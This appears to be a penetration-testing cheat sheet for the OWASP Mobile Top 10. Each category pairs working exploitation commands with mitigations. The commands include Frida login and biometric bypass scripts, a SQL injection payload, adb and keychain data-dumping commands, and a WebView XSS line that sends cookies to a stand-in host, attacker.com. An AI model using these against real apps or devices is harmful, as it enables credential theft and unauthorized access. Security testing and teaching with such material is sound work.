← All cheat sheets

OWASP-MOBILE-TOP10

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Based on OWASP Mobile Top 10 (2024 edition). Each category includes
description, attack vectors, exploitation tools, and mitigations.

M1 - IMPROPER CREDENTIAL USAGE#

Description:
  Hardcoded credentials, API keys, and secrets embedded in the app
  binary, source code, or configuration files.

Attack vectors:
  - Reverse engineering APK/IPA to find hardcoded secrets
  - Extracting API keys from strings, resources, or native libs
  - Credential stuffing using discovered service accounts
  - Abusing shared credentials across environments (dev/prod)

Exploitation:
  # Extract strings from binary
  strings app.apk | grep -iE "api.key|secret|password|token|bearer"
  strings AppBinary | grep -iE "aws|firebase|azure|stripe"

  # JADX decompilation search
  jadx -d output/ app.apk
  grep -rn "API_KEY\|SECRET\|PASSWORD\|apikey" output/

  # Frida runtime extraction
  Java.perform(function() {
      var BuildConfig = Java.use("com.example.app.BuildConfig");
      console.log("API_KEY: " + BuildConfig.API_KEY.value);
  });

  # Check Firebase misconfig
  curl https://<project>.firebaseio.com/.json

Tools: JADX, apktool, strings, Frida, truffleHog, GitLeaks

Mitigation:
  - Never hardcode credentials in source code
  - Use secure key management (Android Keystore, iOS Keychain)
  - Implement server-side API key management
  - Use environment-specific configuration
  - Rotate credentials regularly
  - Use obfuscation as defense in depth (not sole protection)

M2 - INADEQUATE SUPPLY CHAIN SECURITY#

Description:
  Vulnerabilities introduced through third-party libraries, SDKs,
  or compromised development/build pipelines.

Attack vectors:
  - Exploiting known CVEs in outdated dependencies
  - Malicious SDKs or libraries (typosquatting, supply chain attacks)
  - Compromised build pipelines injecting malicious code
  - Insecure update mechanisms

Exploitation:
  # Identify third-party libraries
  apktool d app.apk -o decoded/
  ls decoded/smali/                     # look for third-party packages
  cat decoded/lib/                       # native libraries

  # Check for known vulnerabilities
  # Extract dependencies from build files
  grep -r "implementation\|compile" build.gradle
  # Check versions against NVD/CVE databases

  # Analyze SDKs
  # Look for analytics/tracking SDKs sending data
  # Check network traffic for unexpected data exfiltration

Tools: OWASP Dependency-Check, Snyk, RetireJS, npm audit,
       MobSF (lists libraries), Exodus Privacy (tracking SDKs)

Mitigation:
  - Maintain software bill of materials (SBOM)
  - Regularly update dependencies
  - Use SCA (Software Composition Analysis) tools
  - Verify integrity of downloaded libraries
  - Review SDK permissions and data collection
  - Implement secure CI/CD pipeline with signing

M3 - INSECURE AUTHENTICATION / AUTHORIZATION#

Description:
  Weak authentication mechanisms or broken authorization allowing
  unauthorized access or privilege escalation.

Attack vectors:
  - Bypassing client-side authentication checks
  - Missing server-side authorization validation
  - Weak biometric implementation (bypassed via Frida)
  - Token manipulation and replay attacks
  - IDOR (Insecure Direct Object Reference) on APIs

Exploitation:
  # Bypass login with Frida
  Java.perform(function() {
      var LoginActivity = Java.use("com.example.app.LoginActivity");
      LoginActivity.isAuthenticated.implementation = function() {
          return true;
      };
  });

  # Bypass biometric authentication
  Java.perform(function() {
      var cb = Java.use("android.hardware.biometrics.BiometricPrompt$AuthenticationCallback");
      cb.onAuthenticationSucceeded.implementation = function(result) {
          console.log("[*] Biometric bypassed");
          this.onAuthenticationSucceeded(result);
      };
  });

  # Test IDOR on API
  # Change user ID in request: /api/users/123/profile -> /api/users/124/profile
  # Modify JWT token claims
  # Use Burp Suite Autorize extension

  # JWT manipulation
  # Decode: echo "<token>" | base64 -d
  # Modify claims, re-sign with none algorithm or known weak key

Tools: Burp Suite (Autorize, JWT Editor), Frida, Objection, MobSF

Mitigation:
  - Implement server-side authentication and authorization
  - Never rely solely on client-side checks
  - Use strong session management (short-lived tokens)
  - Implement proper RBAC/ABAC on backend
  - Use PKCE for OAuth flows
  - Implement certificate pinning for auth endpoints

M4 - INSUFFICIENT INPUT/OUTPUT VALIDATION#

Description:
  Failure to properly validate, sanitize, or encode data flowing
  into or out of the mobile application.

Attack vectors:
  - SQL injection via mobile app inputs
  - XSS in WebView components
  - Path traversal in file operations
  - Command injection
  - XML/JSON injection
  - Buffer overflow in native code

Exploitation:
  # SQL injection in content provider
  adb shell content query --uri content://com.example.app.provider/users \
    --where "1=1) UNION SELECT username,password FROM credentials--"

  # XSS in WebView
  # If WebView loads user input:
  adb shell am start -n com.example.app/.WebViewActivity \
    -d "https://evil.com/<script>document.location='http://attacker.com/?c='+document.cookie</script>"

  # Path traversal
  # Manipulate file paths in requests: ../../etc/passwd
  # Content provider path traversal: content://com.example.app/../../etc/hosts

  # Test with Burp Suite
  # Inject payloads in all input fields
  # Monitor WebView for JavaScript execution

Tools: Burp Suite, sqlmap, Drozer (content providers), adb

Mitigation:
  - Validate all input on server side
  - Use parameterized queries for database access
  - Sanitize HTML/JavaScript in WebView content
  - Implement allowlists for file paths
  - Use ContentProvider with proper permissions
  - Disable JavaScript in WebView if not needed
  - Encode output appropriately for context

M5 - INSECURE COMMUNICATION#

Description:
  Failure to protect data in transit, including missing encryption,
  weak TLS configuration, or absent certificate validation.

Attack vectors:
  - Man-in-the-middle on unencrypted HTTP traffic
  - SSL stripping attacks
  - Missing or weak certificate pinning
  - Accepting self-signed or invalid certificates
  - Data leakage via DNS queries

Exploitation:
  # MITM with mitmproxy
  mitmproxy -p 8080
  # Configure device proxy

  # Check for cleartext traffic
  # Android: check network_security_config.xml
  # Look for: cleartextTrafficPermitted="true"

  # SSL strip with bettercap
  bettercap -T <target_ip> --proxy-module sslstrip

  # Certificate pinning bypass (see MOBILE-PENTESTING.txt)
  objection -g com.example.app explore
  android sslpinning disable

  # Check for sensitive data in HTTP
  # Monitor: auth tokens, PII, credentials, session IDs in URLs

Tools: Burp Suite, mitmproxy, Wireshark, bettercap, Frida, Objection

Mitigation:
  - Use TLS 1.2+ for all communications
  - Implement certificate pinning
  - Set android:usesCleartextTraffic="false"
  - Configure ATS on iOS (no exceptions)
  - Use HSTS headers on server
  - Validate certificate chain properly
  - Don't transmit sensitive data in URL parameters

M6 - INADEQUATE PRIVACY CONTROLS#

Description:
  App collects, processes, or shares more personal data than
  necessary, or fails to protect user privacy.

Attack vectors:
  - Excessive data collection (location, contacts, clipboard)
  - PII leakage through logs, crash reports, analytics
  - Third-party SDK data harvesting
  - Insufficient data anonymization
  - Missing privacy notices or consent

Exploitation:
  # Monitor data sent to analytics
  mitmproxy -p 8080 -s log_analytics.py
  # Filter for: firebase, amplitude, mixpanel, facebook domains

  # Check clipboard access
  objection -g com.example.app explore
  android clipboard monitor

  # Examine log output for PII
  adb logcat | grep -iE "email|phone|ssn|credit|name|address"

  # Check data stored locally
  adb shell run-as com.example.app find . -name "*.db" -o -name "*.xml" -o -name "*.json"
  # Examine for PII in plaintext

  # iOS: Check pasteboard, NSLog output, screenshots

Tools: mitmproxy, adb logcat, Objection, Exodus Privacy,
       AppCensus, MobSF

Mitigation:
  - Implement data minimization (collect only what's needed)
  - Provide clear privacy notices and obtain consent
  - Anonymize/pseudonymize data before analytics
  - Audit third-party SDK data collection
  - Disable logging in production builds
  - Implement data retention policies
  - Comply with GDPR, CCPA, and other regulations

M7 - INSUFFICIENT BINARY PROTECTIONS#

Description:
  Lack of protections against reverse engineering, tampering,
  and code analysis of the application binary.

Attack vectors:
  - Reverse engineering to understand business logic
  - Code patching/tampering (smali modification)
  - Debugging and runtime manipulation
  - Repackaging with malicious code
  - Memory dumping and analysis

Exploitation:
  # Decompile and analyze
  apktool d app.apk -o decoded/
  jadx app.apk -d java_src/

  # Check for obfuscation
  # If class/method names are readable -> no obfuscation
  # ProGuard/R8 renames to a, b, c, etc.

  # Debug the app
  adb shell am set-debug-app -w com.example.app
  # Attach with Android Studio or jdb

  # Patch and repackage
  # Modify smali code (see MOBILE-REVERSE-ENG.txt)
  apktool b decoded/ -o patched.apk
  apksigner sign --ks test.keystore patched.apk

  # iOS: class-dump to extract headers
  class-dump AppBinary > headers.txt

Tools: apktool, JADX, Ghidra, IDA, Frida, r2, class-dump

Mitigation:
  - Apply code obfuscation (ProGuard/R8, DexGuard, iXGuard)
  - Implement integrity checks (verify APK signature at runtime)
  - Use anti-debugging techniques (ptrace, timing checks)
  - Implement anti-tampering (checksum verification)
  - Use root/jailbreak detection
  - Move sensitive logic to server side
  - Use native code for critical functions
  - Implement RASP (Runtime App Self-Protection)

M8 - SECURITY MISCONFIGURATION#

Description:
  Default or insecure settings in the app, server, or platform
  that create security vulnerabilities.

Attack vectors:
  - Debug mode enabled in production
  - Exported components without proper permissions
  - Insecure default permissions on files/databases
  - Backup enabled (android:allowBackup="true")
  - WebView misconfigurations
  - Insecure content providers

Exploitation:
  # Check AndroidManifest.xml
  apktool d app.apk -o decoded/
  # Look for:
  #   android:debuggable="true"
  #   android:allowBackup="true"
  #   exported="true" on activities/services/providers/receivers

  # Access exported activities
  adb shell am start -n com.example.app/.AdminActivity
  adb shell am start -n com.example.app/.DebugActivity

  # Query exported content providers
  adb shell content query --uri content://com.example.app.provider/

  # Extract backup data
  adb backup -f backup.ab com.example.app
  # Convert: java -jar abe.jar unpack backup.ab backup.tar

  # iOS checks
  # Check Info.plist for ATS exceptions
  # Check for custom URL schemes handling
  # Verify entitlements

  # Drozer (Android component testing)
  drozer console connect
  run app.package.attacksurface com.example.app
  run app.activity.start --component com.example.app .AdminActivity
  run app.provider.query content://com.example.app.provider/
  run scanner.provider.injection -a com.example.app

Tools: Drozer, apktool, adb, MobSF, Burp Suite

Mitigation:
  - Set android:debuggable="false" in production
  - Set android:allowBackup="false"
  - Don't export components unless necessary
  - Use android:permission on exported components
  - Configure WebView securely (disable file access, JS if not needed)
  - Apply principle of least privilege for permissions
  - Review and harden network_security_config.xml
  - Enable ATS on iOS with no unnecessary exceptions

M9 - INSECURE DATA STORAGE#

Description:
  Sensitive data stored insecurely on the device, accessible to
  other apps or physical attackers.

Attack vectors:
  - Reading plaintext data from SharedPreferences/NSUserDefaults
  - Extracting data from unencrypted SQLite databases
  - Accessing files in external storage (world-readable)
  - Screenshot/snapshot leakage
  - Keyboard cache and clipboard data
  - Backup extraction

Exploitation:
  # Android - SharedPreferences
  adb shell run-as com.example.app cat shared_prefs/*.xml

  # Android - SQLite databases
  adb shell run-as com.example.app sqlite3 databases/app.db ".dump"

  # Android - External storage
  adb shell ls /sdcard/Android/data/com.example.app/

  # Android - Backup extraction
  adb backup -apk -shared com.example.app -f backup.ab

  # iOS - plist files
  ssh root@<device> cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/*.plist

  # iOS - Keychain
  keychain-dumper                        # on jailbroken device
  objection -g <bundleid> explore
  ios keychain dump

  # iOS - SQLite
  sqlite3 /var/mobile/Containers/Data/Application/<UUID>/Documents/app.db ".dump"

  # Check for sensitive data in:
  # - Application logs (adb logcat)
  # - Cache files
  # - Cookie stores
  # - Crash logs
  # - Screenshot cache (iOS: Library/SplashBoard/Snapshots)

Tools: adb, sqlite3, Objection, keychain-dumper, iExplorer, MobSF

Mitigation:
  - Use Android Keystore / iOS Keychain for secrets
  - Encrypt sensitive local databases (SQLCipher)
  - Avoid storing sensitive data on device when possible
  - Set MODE_PRIVATE on SharedPreferences
  - Disable backups for sensitive apps
  - Implement screenshot prevention (FLAG_SECURE on Android)
  - Clear clipboard after use
  - Use encrypted SharedPreferences (Jetpack Security)

M10 - INSUFFICIENT CRYPTOGRAPHY#

Description:
  Use of weak, broken, or improperly implemented cryptographic
  algorithms and practices.

Attack vectors:
  - Exploiting weak algorithms (MD5, SHA1, DES, RC4)
  - Hardcoded encryption keys
  - Predictable key generation (weak PRNG)
  - ECB mode usage (pattern preservation)
  - Missing or improper IV handling
  - Custom/homegrown crypto implementations

Exploitation:
  # Find crypto usage in decompiled code
  grep -rn "DES\|RC4\|MD5\|ECB\|getInstance" java_src/
  grep -rn "SecretKeySpec\|Cipher\|MessageDigest" java_src/
  grep -rn "AES/ECB\|DESede\|Blowfish" java_src/

  # Extract hardcoded keys
  grep -rn "new SecretKeySpec\|new IvParameterSpec" java_src/
  grep -rn "getBytes()\|\"[A-Za-z0-9+/=]\{16,\}\"" java_src/

  # Hook crypto operations with Frida
  Java.perform(function() {
      var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
      SecretKeySpec.$init.overload("[B", "java.lang.String").implementation =
          function(key, algo) {
              console.log("[*] Key: " + Java.use("java.util.Arrays")
                  .toString(key));
              console.log("[*] Algorithm: " + algo);
              return this.$init(key, algo);
          };

      var Cipher = Java.use("javax.crypto.Cipher");
      Cipher.doFinal.overload("[B").implementation = function(data) {
          console.log("[*] Cipher.doFinal input: " +
              Java.use("java.lang.String").$new(data));
          var result = this.doFinal(data);
          console.log("[*] Cipher.doFinal output: " +
              Java.use("java.util.Arrays").toString(result));
          return result;
      };
  });

  # Test for:
  # - Same ciphertext for same plaintext (ECB or static IV)
  # - Predictable keys/IVs
  # - Key derivation from short passwords without KDF

Tools: Frida, JADX, MobSF, CryptoAnalyzer, apkleaks

Mitigation:
  - Use strong algorithms: AES-256-GCM, ChaCha20-Poly1305
  - Use proper key derivation (PBKDF2, Argon2)
  - Generate random IVs/nonces for each encryption
  - Use AES in GCM or CBC mode (never ECB)
  - Store keys in hardware-backed keystore
  - Use Android Keystore / iOS Secure Enclave
  - Don't implement custom cryptography
  - Use well-tested crypto libraries (Tink, CryptoKit)

TESTING METHODOLOGY SUMMARY#

Phase 1: Reconnaissance
  [ ] Identify app permissions and components
  [ ] Map API endpoints
  [ ] Review network traffic

Phase 2: Static Analysis
  [ ] Decompile and review source code
  [ ] Search for hardcoded secrets
  [ ] Analyze manifest/plist configuration
  [ ] Check for vulnerable dependencies

Phase 3: Dynamic Analysis
  [ ] Test authentication and session management
  [ ] Intercept and modify API requests
  [ ] Test input validation
  [ ] Monitor file system and log output
  [ ] Test with root/jailbreak detection

Phase 4: Network Analysis
  [ ] MITM all traffic
  [ ] Test certificate pinning
  [ ] Check for plaintext communication
  [ ] Analyze API security

Phase 5: Reporting
  [ ] Map findings to OWASP Mobile Top 10
  [ ] Assign risk ratings
  [ ] Provide remediation guidance
  [ ] Include proof-of-concept

REFERENCES#

- OWASP Mobile Top 10: https://owasp.org/www-project-mobile-top-10/
- OWASP MASTG: https://mas.owasp.org/MASTG/
- OWASP MASVS: https://mas.owasp.org/MASVS/